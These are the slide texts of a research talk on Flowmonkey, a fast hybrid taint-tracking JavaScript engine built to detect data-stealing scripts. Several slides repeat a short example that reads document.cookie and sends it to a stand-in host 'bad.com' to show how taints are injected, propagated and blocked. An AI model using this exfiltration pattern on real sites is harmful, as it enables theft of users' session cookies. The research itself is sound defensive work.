document.cookie Identity Theft ✗ Cookie Stealing

Password Credit card # Browsing history

Epidemic of Data Stealing JavaScript!

How to Detect Data Stealing? Without Sacrificing Performance?

Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

Dynamic Taint Tracking Tracks where a value goes at runtime

Dynamic Taint Tracking 1. Tag a value with a taint 2. Propagate taints with the value 3. Block taints from untrusted sinks

Example:Cookie Stealing ck = document.cookie data = tmp + ck; send(“bad.com”, data);

Example:Cookie Stealing Inject Taints (At confidential sources) ck = document.cookie data = tmp + ck; send(“bad.com”, data ); document.cookie;

Example:Cookie Stealing Propagate Taints (At assignments, etc) ck = document.cookie; data = tmp + ck; send(“bad.com”, data ); ck ck;tmp + data

ck = document.cookie; data = tmp + ck; send(“bad.com”, data ); Example:Cookie Stealing Block Taints (At untrusted sinks) “cr=” + color send(“bad.com”, data );

Dynamic Taint Tracking:Policies Cookie Protection cookie send() Password Protection password send() ✗ ✗ General Policy secret info expression ✗

Dynamic Taint Tracking:JS Cross site scripting prevention with dynamic data tainting and static analysis, NDSS'07 Analyzing information flow in JavaScript-based browser extensions, ACSAC'09 An Empirical Study of Privacy-Violating Information Flows in JavaScript Web Applications, CCS'10 10~100x slowdown

Goal: Make It Fast

Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

InterpreterJIT Engine Source code Based on Jaegermonkey Modification M Taint tracking logic is augmented

Language Extensions __taint(val, t) val: a value to be tainted t : a taint to be used

Language Extensions __taintof(val) returns the taint of val

Language Extensions var secret = __taint(34349, 1); tmp = secret * 68; tmp2 = tmp + “345”; tmp3 = parseInt(tmp2); alert(__taintof(tmp)); // 1 is printed

Implementation: Shadow Stack s * 6 push s //s=5 push 6 mul ’s taint s’ taintJoined taint Real Stack Shadow Stack

Implementation: Shadow Property a.fld = secret a fld… fld‘s taint… Real Properties Shadow Properties

Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine

Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine If it doesn’t touch a taint

Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine Taint detected!! Do full-fledged taint tracking

Hybrid Approach Rapid prototyping Fast with few taints Slow with many taints

Performance: Baseline Sunspider cookie doesn’t flow to 3 rd party code

Performance: Cookie Tracking Sunspider cookie doesn’t flow to 3 rd party code

Demo

Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

Future Work Missing Flows Implicit Flows, Timing Channel, etc Empirical Study To prove the usability of taint tracking

Conclusions A Fast Hybrid Taint Tracking Engine First JIT-enabled taint tracking engine Still Many Missing Parts Possible to make it a protection tool? Can we sacrifice some performance?

Resources

Thank you!